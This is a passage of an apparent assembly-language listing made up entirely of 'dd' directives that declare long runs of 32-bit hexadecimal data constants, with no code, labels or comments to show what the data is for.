		dd 0A72F4D29h, 500A3B12h, 498D2E02h, 9DB5482Eh,	0E8B9CF5h
		dd 3288501h, 1EE3810Eh,	0D111B269h, 8DB0B17h, 839F5653h
		dd 8414578Ah, 1184AE31h, 0F1206616h, 4EE92822h,	0D985100Bh
		dd 41BC5820h, 426BB01Eh, 4BE9F3BFh, 23C83E36h, 4BE40019h
		dd 0D3DE31CBh, 0D714D898h, 97385FE7h, 95BDB621h, 20320AC2h
		dd 0C454A786h, 0E1156017h, 5659629Ch, 81011FC5h, 0A571FF23h
		dd 2A7CC0CEh, 488CE8C0h, 0DD103ADBh, 0C3F6121Eh, 295A92C2h
		dd 88F88C46h, 28BBB396h, 0FA26083h, 8C506505h, 0CC03CBFAh
		dd 49C9654h, 10D5A8A1h,	26471EC7h, 3A245289h, 1182325h
		dd 1BF32575h, 29E09FE5h, 0C8C601E2h, 0E947A427h, 632B652Eh
		dd 301CA22Eh, 60019708h, 0FCDE1096h, 89421F6Bh,	9E53C60Bh
		dd 0E1234938h, 0E681B061h, 0F00A7670h, 4864D042h, 0BD104CF0h
		dd 71E41407h, 8C17E891h, 0D7953409h, 3B93E48Ch,	0F9006436h
		dd 38C6DAB8h, 0EA0909AFh, 0E1D17887h, 0D3E9C8h,	0D61F802Dh
		dd 46B24BADh, 0FCA8910Eh, 6C52E20Dh, 14AA7917h,	4D17C051h
		dd 9960561Bh, 0B1D6363Ch, 0B73C4968h, 96C78101h, 438FDD1h
		dd 1A884FCEh, 0B607E6C0h, 78381269h, 124C08B8h,	73924B80h
		dd 3C260AC8h, 0ED1E762Eh, 0C0FC5D06h, 36129DECh, 24011C89h
		dd 54A8E681h, 422C5176h, 52279D4h, 0B3CBBF04h, 27B74318h
		dd 1DB80F58h, 0AD6E008Ch, 0BB7B7E93h, 0CA2CF2AFh, 0B71D9DAEh
		dd 13B05F8Eh, 1D23093Ah, 3446AF01h, 4084B16Ch, 0C04E294Ch
		dd 422BD649h, 0B5107BB8h, 204F03C1h, 0E8B7AC54h, 0A2FE4A09h
		dd 896F0061h, 9325E19Dh, 0A3B52550h, 73708400h,	296ABA6h
		dd 0B5292E39h, 0ADA22D59h, 0C92E0C87h, 89329982h, 214D6909h
		dd 7110A93Bh, 5A291815h, 0F51B2097h, 0C900EEBDh, 0A98F8CEDh
		dd 49317988h, 24498F9Ch, 0F004D9BCh, 48AB90A0h,	890DBFC0h
		dd 0B6F54DBDh, 0A958BA39h, 38C1BFCh, 7DF66AD7h,	0D0989EB8h
		dd 42B98D31h, 898BC629h, 44020B95h, 33574C66h, 48B8752Ah
		dd 2906B15Fh, 1227C59Dh, 0A960BDF0h, 0C1BE5833h, 0B616E0B6h
		dd 1809168h, 0D0A5CF81h, 5D6C3FB5h, 0B7DEC896h,	7A0A7E72h
		dd 0E0C01BF0h, 205E0D11h, 9D54A92Ch, 3A114A02h,	0DB5FC9B3h
		dd 64A4D85Fh, 0E419424h, 0E84C0D20h, 736F806Ch,	0E9F3EF7h
		dd 0FF2529D5h, 0A055ACA7h, 6160E280h, 73485F5Bh, 1129970Eh
		dd 125A8C86h, 0F97A0459h, 2988161Dh, 0AA818AD2h, 6D3071CEh
		dd 0B850D428h, 8018C1Bh, 0D43BB9AAh, 0B06B78C1h, 926BD67h
		dd 5B92B82Bh, 28780FC7h, 172520E1h, 59C32B24h, 241A4674h
		dd 6902EBB5h, 0D3E95F11h, 0D26010FBh, 1A23412Eh, 0ABEEEF00h
		dd 27AE781Eh, 0D720E9C7h, 0ECA69A49h, 61F8D507h, 4FE4811Fh
		dd 19C88C8Fh, 39F8BDC0h, 9CD402A8h, 1FA6BE66h, 2BD98F82h
		dd 30A77CD2h, 3E621444h, 756D8061h, 0D3FE3CCEh,	1B23F92Eh
		dd 5F879700h, 251FDBCFh, 6F0B5E5Bh, 34194991h, 0FB7D7F13h
		dd 3DD77E4Dh, 0EDC0E903h, 3FE6C056h, 951D09A0h,	9D09994Ah
		dd 4F192B35h, 823A403h,	0FF1F08BDh, 0E48A4725h,	85366018h
		dd 0FBEF28ABh, 231920CCh, 0BF601096h, 58772638h, 89580E50h
		dd 0F9C16293h, 0BE02B7CCh, 428A262Bh, 5D190h, 0FF41841Ah
		dd 0BA17479Bh, 0D70991C7h, 0AE3F18F7h, 175E07ABh, 0B7FA4159h
		dd 0F0857B4Fh, 0B369038Fh, 0A810F824h, 230F2D6Dh, 0C79698Dh
		dd 75CC5061h, 3DF8899Ch, 90E2649h, 0CF02B5BDh, 0ACF64636h
		dd 0C97AFA66h, 353FA16Fh, 59950640h, 85318028h,	136920h
		dd 0DC8A5260h, 0F48BFFBBh, 815E3900h, 736BB3D7h, 6FB7162Eh
		dd 83F23061h, 0E512A08Bh, 1DB6510Ah, 594E5FE0h,	24027A3Fh
		dd 0DE4DC2h, 8E06BEDFh,	6055A7B9h, 87E852h, 0B2A4892Fh
		dd 0E486F99h, 4FD4C9D7h, 84C737A0h, 7302231Ch, 5A53446Bh
		dd 0F795E15Eh, 75F89D43h, 0E2FFE8E6h, 8F2958F9h, 41C18973h
		dd 41561A0h, 661E42F3h,	0BC0B14BFh, 3C41793Ah, 0F05CD811h
		dd 0B1BF0450h, 0B14E3873h, 0F0032666h, 1C9A6E7Ah, 4CA39605h
		dd 0F360535Eh, 0A4505F6Ch, 55214F99h, 0E8BDB7FFh, 1F20B370h
		dd 1B6D28E3h, 48117B6Ah, 15ECE316h, 52B34F8Ch, 0ED46FF6h
		dd 25C7902Ch, 0CF1C4814h, 50243250h, 129FA5D3h,	84801D11h
		dd 0F38A16F8h, 1846763Fh, 7DFEC223h, 869FB619h,	6065D1F6h
		dd 69E2808Dh, 3B174103h, 6062876Ch, 0E6090735h,	0C6810F36h
		dd 3C8B0DC5h, 0BF49204Ch, 12952DF0h, 0DC3E541Dh, 0CF189200h
		dd 122297FAh, 0E27D6155h, 68D1A4C7h, 7BEC737h, 0E97B7A30h
		dd 7028B4F8h, 0F9821F1Bh, 2986E20Eh, 9D13C97Ah,	0D5DD13DDh
		dd 0AB25CF39h, 17402566h, 99BD1383h, 57D5C81Dh,	9DF627D2h
		dd 0A5E95EE0h, 3E6F13D2h, 17BEFE00h, 99F6AEB9h,	4E40E84Ah
		dd 0CC78DC19h, 5FA701D3h, 0DD8589AFh, 0DC6A716h, 1B3CC8E3h
		dd 7804B9D0h, 0D21747B9h, 6F9FE9DFh, 0D8801B11h, 0D73059B4h
		dd 0E219C113h, 0EF50906h, 0D3418484h, 8F789E32h, 40A2A087h
		dd 249482BCh, 20543F17h, 76B8BEEDh, 0DD011946h,	0F8E51ECEh
		dd 45752191h, 2A030BE8h, 0FA1474Eh, 12C97DA9h, 823ADB8Ch
		dd 5051623h, 61A2082Ch,	53035F22h, 0D92D5CBEh, 2260D778h
		dd 945629CFh, 0BD2B61D1h, 90076431h, 0FE8B501Dh, 4674EA26h
		dd 0D2D5001Ch, 0B98D3374h, 24B7164h, 0B2ECC8BFh, 0D690E808h
		dd 38095D4Ah, 64F6688Ch, 0D8F10088h, 0F504B02Eh, 5F7E363Ch
		dd 7C81F26Fh, 2F372Dh, 0BC46E715h, 0F120BD29h, 70E60B14h
		dd 98C8B523h, 769C71E4h, 75D3727h, 0D0F7C988h, 0CFAC235h
		dd 12F56027h, 204B7671h, 0C4B384F5h, 1316ED8Ch,	1BE257B3h
		dd 9EE30h, 10C0843Bh, 0F18B07D8h, 0BE00749Ch, 3326B91Ch
		dd 0E33FB2Bh, 69301DA2h
		dd 0A5AC018Fh, 0CD9FE6F6h, 0BFD16006h, 50172B7Dh, 40D1880Fh
		dd 1A68FB8Bh, 0A9BC874Dh, 3AE4A802h, 418B0108h,	7A290F47h
		dd 0C8BCFFD1h, 280B7A13h, 66FE490Bh, 9D2917DCh,	0DD3053D9h
		dd 0A81E2D5Eh, 5EBC029Ch, 0BB5662A2h, 494DF685h, 809DB0F0h
		dd 0E7801D91h, 8E40C4C2h, 6A519304h, 5D848AA0h,	8DC093DBh
		dd 0FA475B96h, 9E24DF78h, 60011773h, 10E905B0h,	842D9Eh
		dd 80A9379Ah, 51003BA4h, 1D594BA2h, 483EBAECh, 81019661h
		dd 0D777B2EFh, 2448695Fh, 5AAC071Dh, 7AA37FDEh,	0CAC70042h
		dd 0BD687961h, 25C013E9h, 719CB995h, 72CBFED1h,	84120016h
		dd 941A6F9h, 0D224DB64h, 14AEE14Ah, 32F805DCh, 0C5B28557h
		dd 893CD3C7h, 6928D9B1h, 0B5298159h, 84391E99h,	15A2DE53h
		dd 2678B330h, 8000F98Bh, 86BAEE81h, 0E19225A4h,	320922A0h
		dd 0CDE28B82h, 0CF5CC018h, 0F705B41Eh, 0E9952960h, 0D953B7D2h
		dd 615F892Ah, 31850781h, 4394521h, 1F0132F1h, 70F5BD09h
		dd 401CB4C6h, 0A9D7A8E2h, 0B57BE000h, 0BBBC2781h, 4C89B43Eh
		dd 1C41C574h, 854C6F3Ch, 4F2DC910h, 2FFF394Dh, 3044333Ch
		dd 9D820027h, 0D6715B58h, 701612DFh, 3E88A6B1h,	0DB2BD5AEh
		dd 4502C7BCh, 6A184759h, 8346B1h, 0A9E54939h, 68F598E6h
		dd 1A17C91Dh, 0BFE8F242h, 0F9FCCC0h, 0C8F78166h, 3A5B5B6Bh
		dd 7FC77B70h, 0BF8D0208h, 3E90AB03h, 2A563D42h,	81C32B80h
		dd 2D1143CFh, 4D316951h, 0F2B2732Dh, 858B3016h,	0BDC2AE4Ah
		dd 38E90217h, 59BEC790h, 0C0525A7Fh, 301CE22Fh,	0B900BE48h
		dd 0A558E777h, 0C8518BEAh, 98906B4h, 0BC0CFA95h, 6F5F39A2h
		dd 0A8FE0079h, 0EFAB463h, 85C72537h, 0EF3D2468h, 375B2725h
		dd 0C88813B2h, 86387E99h, 5FAE027Ch, 61CE15ACh,	9A256906h
		dd 17EC4E3Ch, 0EDF90B8Ch, 7E02B9BCh, 4BD31E85h,	134FB16Fh
		dd 250ECA45h, 0C9FF68E8h, 903200D3h, 436E55ADh,	6502B316h
		dd 0E5D0494Ah, 8570607Ah, 5E264061h, 0F34983B1h, 98BD53A2h
		dd 6BBB90DFh, 0F06B78h,	49A834A2h, 810FC586h, 0B6A81294h
		dd 6E170A02h, 0DE5E522Bh, 0AE71DC18h, 50B45D2Bh, 28AF158h
		dd 7F76BAF4h, 969DCF29h, 8C801911h, 5D09780Fh, 0DAE9F529h
		dd 1CDDAF00h, 1D99A4Ah,	30CB3C18h, 0DC90D789h, 762C413Dh
		dd 0E425B752h, 0ABA40126h, 0B5037BB3h, 5E19347Dh, 885AD8F9h
		dd 9506F4Ch, 37803CCFh,	0CA71874Eh, 0EC5644EBh,	0FD1E8026h
		dd 1D755762h, 44718A5Ch, 0ED5F4FFAh, 88B80Bh, 9A19C9D2h
		dd 0E681B2D6h, 52E01202h, 0D02CE901h, 0E348AD62h, 0DEE852F4h
		dd 5D4830B4h, 6860270Eh, 1361FC05h, 0E7FFFEB9h,	8F32A01Bh
		dd 0AC08247Fh, 2D351CA5h, 1A714FA2h, 0A3C15004h, 21C4586Dh
		dd 30DD308Dh, 29D9BD25h, 49181383h, 80389E23h, 0D816C6F0h
		dd 33CE045Dh, 0D42205BDh, 76395549h, 80037BCh, 6B20B14h
		dd 40F340Ah, 0E183FEBFh, 247C201h, 95DE8B23h, 0B90E647Eh
		dd 46CE1E84h, 390E80Bh,	58037F5Fh, 0D5D099CDh, 3C60AFC4h
		dd 4D9D0B2Eh, 5F0A7BF1h, 974CD98Bh, 88D8CF44h, 7FA2C019h
		dd 3112A7A5h, 9DE4E8E2h, 2B0300C0h, 0F305394Fh,	0F572DE7Bh
		dd 21E0CF00h, 9DD17ACEh, 191309BBh, 428A4B1Ch, 121710C9h
		dd 37756061h, 0F0A023F6h, 3F0BE4CBh, 2E611DEh, 0A2A15DAh
		dd 2ED90821h, 0D16467Ch, 48F94E3Fh, 0BEC3406Ah,	5BAA0D0Eh
		dd 63E1BF05h, 0F1046CA9h, 7B2ED9h, 92327535h, 2D8B6BB4h
		dd 9C42B195h, 0D26DD19h, 90A82A6Dh, 51467201h, 2E70A987h
		dd 0DAC25820h, 65F4D8B8h, 0AFFF01F4h, 6D4DA76h,	8DF82034h
		dd 2079120h, 0E584D281h, 64A44685h, 16233F23h, 0E07FF700h
		dd 24D8D2BAh, 21204856h, 1819715Dh, 49A39477h, 8DC17D04h
		dd 80C93844h, 0F4259CADh, 4D68484Fh, 9F000A22h,	89D57F92h
		dd 32F81F82h, 5A4A59EBh, 8803DFA4h, 1347DD40h, 0B50593B0h
		dd 8223ED80h, 85003766h, 0A61D1BCBh, 0ADD9BADh,	8B7BA9D0h
		dd 8E4D693Ah, 59B03943h, 8180AC05h, 9D451FEFh, 21E73B53h
		dd 181DF925h, 63ED0096h, 17623DABh, 0E22ADD4Dh,	1998768Bh
		dd 85325124h, 0E3530CE4h, 10033EB6h, 0A511FD9h,	2027206Eh
		dd 0E4002EC4h, 53170830h, 5365A233h, 800AF75Fh,	0AB232C4h
		dd 83C1E19h, 8B0C2A49h,	5BF51CFAh, 8009DE14h, 0E966B6BAh
		dd 222E255Ah, 570288E4h, 9EF62DF5h, 21C5693h, 5BBA32C7h
		dd 2E90848Dh, 1923163Bh, 71C9FA00h, 9069F7D4h, 2F1530CCh
		dd 20259DDFh, 0B44ABAEh, 19BD128Bh, 0E0E2D021h,	4CF762A5h
		dd 0FA55B781h, 0BB28C21Ch, 0DE172Ch, 9376E6EFh,	55858B19h
		dd 2E310C40h, 9F1DD1BDh, 0FA3A25C7h, 96701E7Bh,	0C06C0335h
		dd 0A223BDE8h, 870F50B8h, 0DE8A63A0h, 96E614Ah,	9FBF4D00h
		dd 0C5B5296Ch, 0EB015EBCh, 0E99D6107h, 0E4BDC7C2h, 18E36116h
		dd 70A953E6h, 7C009921h, 1EFCA5Dh, 951381B5h, 1BA79A7h
		dd 0EDF01130h, 937BBEAh, 214C283h, 0F0F1D83h, 8D82FC3Fh
		dd 162CB085h, 0FF64E1E0h, 0DD6C3551h, 7D073589h, 2B588320h
		dd 0F01A2DC2h, 38813440h, 1F5A4D24h, 1761211h, 33C50B7h
		dd 0D93A81D0h, 84199345h, 842DBA23h, 49E945F0h,	8B12DED9h
		dd 24D7C2C8h, 3C400301h, 22E44FAAh, 0EBF31BA5h,	11811210h
		dd 5BF8051Bh, 30C1C0Ch,	6FC120D1h, 86C4D2Dh, 7406512h
		dd 58F2864h, 0C483166Dh, 51C78804h, 5AC8B4Ch, 0B0A98110h
		dd 59B51418h, 0C3C00533h, 0D6EDBD83h, 2444E116h, 0C1852FC6h
		dd 68478500h, 9A02A7D2h, 1B5FFD4h, 87D15631h, 6F15827Ah
		dd 6270D08Bh, 0D8241E9h, 0D3EB8020h, 0B5BD2B60h, 7EC19C30h
		dd 7E031446h, 2C35B966h, 2F01B811h, 12097518h, 74882149h
		dd 53503019h, 438B86Ch,	35AAA4B5h, 9D0699B9h, 0BC14AD09h
		dd 585BD315h, 21178822h, 0A9F8E220h, 0B5B50930h, 6C04F729h
		dd 92E8E8FDh, 0B3C95A0Ch, 130C4EE8h, 0E04FE696h, 0C065Ch
		dd 49C127CCh, 11B58B5Dh, 0A410D6ABh, 233E0841h,	752AE518h
		dd 0D48207D2h, 0FEEE407Fh, 373D387Eh, 5F6401B7h, 0DC1A8CC2h
		dd 25B14688h, 0D4D9B902h, 3503C8DDh, 0AA51C829h, 3D20F9Eh
		dd 13FA9D33h, 2114C13Eh, 0E097E1DBh, 461AE580h,	56388EE8h
		dd 7A16DE6Ah, 1BB4E812h, 4FDE0075h, 0E92C5432h,	7C0545D0h
		dd 0B4F84249h, 601A7EF3h, 0DD435A61h, 36EC15Ah,	0BB8B4C00h
		dd 85317B1Fh, 8634512Ah, 0DBD5246Bh, 298273FDh,	8920ECC0h
		dd 0C4DD6703h, 79EB8A15h, 10C40B0h, 16E99526h, 0EA133193h
		dd 0FDE625D3h, 0FFE87BBDh, 0E7B94E02h, 0C88D7FFAh, 0C4B42FFAh
		dd 0FD2B197Ch, 68E80Fh,	3B177B3h, 0F9CE62AAh, 0AD90E832h
		dd 91EDC250h, 42735E90h, 4BBF9900h, 0A5CF524h, 0A920A390h
		dd 4BCAD42Ah, 0CE242927h, 64A888E5h, 108559D4h,	0C58421B1h
		dd 8D030431h, 660C8AFDh, 498E5CBEh, 0DA6E37D7h,	3A07DA01h
		dd 7EDBE049h, 0ABED7D0Dh, 98088947h, 24318861h,	400D4F95h
		dd 85418ACCh, 69097C00h, 0E8B1FA19h, 0D0054FEAh, 0FBE4DEE9h
		dd 2D796AC5h, 297D7F04h, 2DD4E806h, 0C61DBB81h,	19B11183h
		dd 4AA0B376h, 0CF608B66h, 876CD956h, 3FB568E8h,	1F1515C7h
		dd 0B929A512h, 25E847h,	0C6F7EBFEh, 6A9772F3h, 6B80E835h
		dd 0CFE0D7E6h, 0F392F583h, 30D9326Fh, 0CFBF839Dh, 655B4EE8h
		dd 73835DDBh, 0F2ADF609h, 1F160080h, 22A18A2Ch,	0B46E06ACh
		dd 88905287h, 0BD31F12Dh
		dd 30BE16D5h, 1D2E2FE8h, 61B5DB00h, 10D4BCF2h, 8136000Ch
		dd 329DCC22h, 803CB80Ah, 0DCE816D9h, 0BE075952h, 42E4EB1Dh
		dd 0C8165BECh, 864495Fh, 1C642167h, 0E63C4560h,	137410BDh
		dd 619D2429h, 49C4238h,	1C2BD57h, 3AA1322Ah, 84EB78A3h
		dd 958762B1h, 9F8383DBh, 0A1C627B6h, 5832E3Dh, 9C7D42ECh
		dd 236D3BBBh, 313D0416h, 49AC8118h, 56F5020Bh, 79FA2372h
		dd 42C23403h, 67C8104Ah, 4AC50980h, 2A042960h, 0BD01041Ch
		dd 26F907C5h, 1ECC1851h, 0C4654B20h, 2BF6F58h, 0C321751h
		dd 2D905D58h, 558218EDh, 1374410h, 6105ABECh, 0D82B6E08h
		dd 0C23E376Bh, 85EC360Eh, 1562D180h, 0F4B82AD9h, 5046EB0Fh
		dd 5BF092B1h, 0A98D1233h, 0B586E81Dh, 0CFA01FA6h, 9000C8A9h
		dd 0C1815043h, 2685755Eh, 11865B47h, 8DFC0501h,	29959195h
		dd 0D2E0B0F6h, 6600CED5h, 0D3BAFB71h, 25C1B1F5h, 764D1A89h
		dd 20FDF0C9h, 89172719h, 0CD080442h, 99B2B165h,	0B0CD372Dh
		dd 671E40h, 76B82558h, 0CE8143EDh, 987AE10Bh, 9405F865h
		dd 0B6C6341Ah, 0A3BCE050h, 0C1FB6B01h, 4971775Bh, 15AD8541h
		dd 0D0E205h, 3E63AA4Ah,	0F2B9D3h, 5272C4E4h, 0F537B66Dh
		dd 92A10D7Fh, 4A512CFDh, 7682CA9Bh, 80D131D3h, 0E61ADE00h
		dd 77F242CBh, 226297DFh, 15F89009h, 316FE6D2h, 136C6E0Ch
		dd 1E402DB2h, 0A958D2F9h, 0BE1B889h, 0B63BF345h, 6D012C64h
		dd 9FB9D6D3h, 0C6D481A6h, 230D361Dh, 0B7B5B89Ah, 9640110h
		dd 222DA18Dh, 287D124Bh, 24E90AD0h, 9BC8D2BCh, 945A8604h
		dd 0DCBE9C9Fh, 51FEEB01h, 0DAFAA8AFh, 0C4A75CC0h, 1F2A05A4h
		dd 2CE885A8h, 8F2FEA20h, 3C2140B9h, 995F08A2h, 0AB79386h
		dd 139DBD2Bh, 5629448Eh, 65805E9Bh, 14EA64D2h, 9B11AD00h
		dd 89605861h, 80DD4ABDh, 0CD9D3172h, 0AEFF8BBAh, 465E46CEh
		dd 7B24B18h, 0D1B50908h, 3FE3D4B4h, 0F6FFA83Ah,	77F2A2h
		dd 0B38D5D11h, 12B2BF0Ah, 7968C50Ch, 4065F851h,	4B55626h
		dd 0AA10111Dh, 1CCD1A25h, 7C516DC0h, 4950CBD5h,	3EA1962Dh
		dd 7305DB6Eh, 8332768h,	0E90D07A6h, 9B3A2069h, 0F86C387h
		dd 0E1BCFC82h, 0ABD87B84h, 7127860Bh, 0B58985A6h, 0FC0A4F11h
		dd 0DC8F9BB2h, 28F8B092h, 0FB73122h, 1F04B643h,	8A011B79h
		dd 0B8840FC5h, 5E0C4F3Bh, 411D24C8h, 0E8BF3916h, 230242B9h
		dd 20105A70h, 958CAA11h, 34C33DEDh, 6056F864h, 0CA8B00F8h
		dd 0C6815F61h, 3F71AEF3h, 0AFE3C4D6h, 48BCA94Dh, 4E7CD400h
		dd 5D826738h, 0BD0315E0h, 9002A8F1h, 53E7BF66h,	0FE79D250h
		dd 0F9784BB3h, 3C9E605Ah, 0C085D381h, 10388435h, 42017E6Fh
		dd 0BF0F54A7h, 0D98340F8h, 6011637h, 0E304E781h, 6F015Ch
		dd 515650B1h, 5F2DFD8Ah, 808DE05Bh, 7AEB69D3h, 0F973978h
		dd 94DB137Ch, 0FC5EAEC0h, 9C042DEBh, 0CA7726A5h, 2E9D72C1h
		dd 0DE9E0B04h, 89BF6D79h, 2E334D8Dh, 6DF5D61Ah,	0AFC0A15Bh
		dd 919D8B94h, 0A2D5025Eh, 0FF166FF9h, 0E07FA6D1h, 4B0709A2h
		dd 1DA10863h, 0E9208628h, 116DBC0Eh, 0E8746E3Dh, 26A0930h
		dd 56C07D6Dh, 627865C9h, 0F55D0DFh, 90BF5003h, 0AA411D1Eh
		dd 0D5A602E1h, 0AE9012Ch, 0C82C6F0Eh, 1B3741E3h, 0A68EC180h
		dd 0DA958318h, 176DC89h, 4CCF81F9h, 207B0E1Bh, 965E8F3Eh
		dd 0C834B81h, 0E1B676C2h, 509D9509h, 8A6090CDh,	0A0E8C62Dh
		dd 6DA5ED76h, 0C01707FFh, 102F05ADh, 5F0D68A9h,	1D35614Ch
		dd 0CDAD29B7h, 4083E0AAh, 5B0B6897h, 1C7B721h, 31ED9DF1h
		dd 4A4FE605h, 7E72956Eh, 32C62FEBh, 0EF816FB0h,	2FC2490Bh
		dd 0A4A5D176h, 9C12DE88h, 9C064C06h, 4A4932E1h,	0E160E6FFh
		dd 0D0217833h, 8092942Fh, 0B5FFDB24h, 48A651BCh, 16147588h
		dd 2165A5E9h, 0E87224h,	3C7CC2EFh, 63404Fh, 0F764258Ch
		dd 0E9143679h, 0B0660816h, 0E6DE5C80h, 8744B970h, 0A7C08A45h
		dd 1CCC9031h, 0A100D62Bh, 0FA874C36h, 929A01Fh,	5671E45Ah
		dd 15F155D0h, 0E93799A9h, 0A98DC14Bh, 0B6C98B1Fh, 0F8A79C8h
		dd 0E209274h, 0A31930BBh, 0BF40DC9Ch, 0B78D6723h, 0BDB60850h
		dd 0FC100347h, 154B0DEh, 0F9E3CDAAh, 3EB562FBh,	5AEBF097h
		dd 2BDA1731h, 0AD0509C8h, 60D13C90h, 18207FFBh,	2CE78061h
		dd 64DCE9C0h, 2B5CE585h, 0EDE2CC8h, 772C5AB7h, 0A6AD1300h
		dd 9F0181BDh, 5C23F73Eh, 0E830A7B8h, 200C9807h,	12D228D1h
		dd 133D3D4Ch, 18C30A80h, 1192D03Bh, 0C7810011h,	5357DA7h
		dd 0BDFEE66h, 47E99798h, 0C425B279h, 0BD090908h, 0DDA3042Dh
		dd 0AD9C0EBBh, 0C5843EE5h, 8122AD68h, 65CE8002h, 80A58361h
		dd 0B509FE24h, 25F99939h, 5638D893h, 0A5CCE290h, 6091080Ch
		dd 0D407B58Dh, 0B7B7157Bh, 59FC3089h, 0C5488865h, 90E3C03Ah
		dd 1EA24A54h, 0AACAD6h,	4421366Ch, 0BF0DE5AFh, 72C70BA7h
		dd 4F82FB30h, 1EACCFAh,	28D9D25h, 7805B95Bh, 0BF70F7B8h
		dd 47FC8108h, 880F3193h, 3FEA1604h, 0F64B709Ch,	0EEE4B2h
		dd 41E7E60Eh, 0ED507B78h, 25405DBBh, 0E4C0482Bh, 111F7519h
		dd 0A1DB2ED2h, 0FED4380h, 0AD0CD8B7h, 42D1C233h, 17B490D0h
		dd 0DBF47504h, 0FC1F8063h, 269872DAh, 631D89E1h, 2FD0504Fh
		dd 0DC004E38h, 24765127h, 0E66F47F6h, 81AB01A8h, 69B01BE3h
		dd 6D6E2F0Fh, 0F5A5C500h, 10AEBF3h, 17319510h, 16EB24Bh
		dd 0DDA27B97h, 64F46B11h, 4A6E002Ah, 29CBC704h,	839261BDh
		dd 4A880D38h, 41800CDEh, 6814A782h, 0E702CE77h,	958B3EB7h
		dd 91D358CDh, 7AA78040h, 6A882440h, 73B6C101h, 6763C9ACh
		dd 0D665D121h, 50B77420h, 407DFDDAh, 8B395021h,	3180DC2h
		dd 0A5E308C1h, 5819E359h, 0C1F0EE76h, 0D103CBABh, 593E299Ch
		dd 2FFCD4CAh, 69237280h, 38005CA3h, 4D2208F5h, 5BF35BAh
		dd 3D7CD0E6h, 199AC15Fh, 66222E14h, 9D23218Fh, 0BC38635h
		dd 590DA9BDh, 0D7FCC9B8h, 6B4A8F09h, 0E98E823Dh, 2F345226h
		dd 4C3D4E4Bh, 0EB33101h, 0BA8889CEh, 0F9042E11h, 6EBBE1FFh
		dd 12A3CC5h, 8C92392h, 0B093CF46h, 0D966B569h, 9C98C211h
		dd 85820402h, 1022FE00h, 520D0401h, 9C009B6Fh, 3CE014BFh
		dd 0A52B773h, 0F030630h, 153A786h, 0FADBC381h, 7560197Dh
		dd 3F026F1Fh, 783DB529h, 0E180126Dh, 0E752B604h, 0BD522220h
		dd 0E7262F95h, 23456CC0h, 0CFC90A80h, 22963FEEh, 0E454CDA9h
		dd 0DC122Eh, 2F3220E4h,	0DC62A012h, 33FCBB06h, 90578D85h
		dd 28B125BAh, 0DE103271h, 18C1AFCh, 0F4AFBE1h, 961B0E56h
		dd 3395EDDCh, 4E36FABh,	0E3C72C8Ah, 0CE8080A8h,	0F6D064B0h
		dd 0FE9E1B01h, 0ADFA6DAEh, 7A50203Fh, 38000206h, 0A43070ABh
		dd 580F9E2Bh, 0F2960E89h, 811E7BEAh, 0BB0079F9h, 0E6B5CE22h
		dd 69AD025Ch, 5BF28B45h, 0EB688A80h, 8A7250EDh,	0CDBB5200h
		dd 0F6E82ADh, 1D05B731h, 0C19DECFAh, 81585A61h,	1614A540h
		dd 0F7577CEh, 30ED7DCBh, 588AC733h, 908B0F09h, 710960DCh
		dd 0D1175A85h, 42A19D4h, 0C09EBA8h, 0F67815BDh,	100E69F3h
		dd 17F801E5h, 0A70B068Ch, 8AF5E107h, 0C69D015Ch, 0A2710485h
		dd 0F50D0392h, 761882C7h, 0D903F6E8h, 8D0FBA12h, 0FA194806h
		dd 0F91D6D18h, 7BD608B5h, 0F4DA5906h, 2399258Eh, 0B6D11FDBh
		dd 60238D3Fh, 1640A9D1h, 0B7897CF8h, 521F53B7h,	16AB2601h
		dd 0D83E0FEBh, 1D7EBDD6h, 0FB6C4182h, 0A993E822h, 0FE74A85Ah
		dd 0B12D05BEh, 14168B59h
		dd 0C84A0C95h, 4094692h, 0A2A19509h, 0C1609656h, 691313ECh
		dd 85FA1580h, 44C96700h, 0EE92FC97h, 7BBD0070h,	596E0BB0h
		dd 61035E5Fh, 0C1ABBF50h, 0B196DB3Eh, 38C8078Dh, 0DB549FFh
		dd 0F2C1F55Ch, 6F4078B0h, 920C7F20h, 59CE00DEh,	7711F1FAh
		dd 5412D368h, 9A004CFDh, 243481DAh, 0E257302Ch,	0BD53BF14h
		dd 8DFB1CC4h, 0B97D7889h, 0D0F9C6BCh, 735A519Ah, 3902909h
		dd 0C3FE8AE0h, 25701231h, 25D61F8Fh, 90766902h,	9CE079CDh
		dd 87FF3C9h, 828E018Ch,	2B03B908h, 3751A5F8h, 13F58584h
		dd 393F4914h, 649F61C0h, 4380097h, 0CE95153Dh, 8E75EA26h
		dd 6185C72Ch, 9B3A266Dh, 0DA7AC010h, 0E660AF80h, 0DFA65CEAh
		dd 8712B518h, 9716D9BFh, 9A10576Fh, 0DA4993C7h,	0F174180Dh
		dd 22E98110h, 0CAB70358h, 390C3050h, 18744A8h, 0AC10E8C1h
		dd 4CE0020Eh, 584A03FCh, 0EBE7C643h, 81367736h,	857B0E64h
		dd 29501B8Ch, 1821D028h, 1135833h, 651B5742h, 0AD9BC0BCh
		dd 0FD4112C0h, 233CA6FBh, 0B75C0B7Dh, 0C071EDC8h, 511B3F47h
		dd 61A0825Ah, 52F45CA5h, 47B85A0h, 0BBBD9Dh, 0D736DD1h
		dd 4BFF4548h, 5F4C30E7h, 241F8BBFh, 20F35894h, 2960A112h
		dd 38B05F3Fh, 2FD31869h, 1FA86078h, 42E382E5h, 0BE97E67Eh
		dd 666C4C2h, 345DB510h,	26D8C725h, 0A604D6h, 0F0F340E1h
		dd 0ED1E4A21h, 16908D89h, 0F0026948h, 502CC2F6h, 8BA422DFh
		dd 0FC0863F9h, 1C6EBBh,	0AE115658h, 2CD32DEh, 0C780D6FBh
		dd 0A2C160FDh, 1FE81518h, 0E30A9F80h, 92039B0Ch, 4D8DFFA3h
		dd 0CF04F84Bh, 2501E836h, 0A4935AD4h, 0ADF778F8h, 84CFA200h
		dd 295026E4h, 61402BAAh, 316D27D9h, 3B8EB8C0h, 23A50183h
		dd 290D67BBh, 0E1FF416Ah, 5E7A2E1Ah, 0D0A6900h,	0DD0FFFBFh
		dd 92226049h, 0AB4BBC05h, 30398F81h, 8F58CC04h,	0C70054FCh
		dd 10CD591Bh, 0EEABB1AFh, 0C592053Dh, 2D648E8h,	1D7D8D81h
		dd 868DE554h, 0DB2F41C4h, 0C0C580E0h, 2642AF8Bh, 8CD726Eh
		dd 9A2531B9h, 10097C6Fh, 0C0662F0Eh, 2D04C235h,	0BD489D33h
		dd 0F94B9589h, 20505ED1h, 0C2CD9B3Eh, 0C05F5101h, 82D0EA8Bh
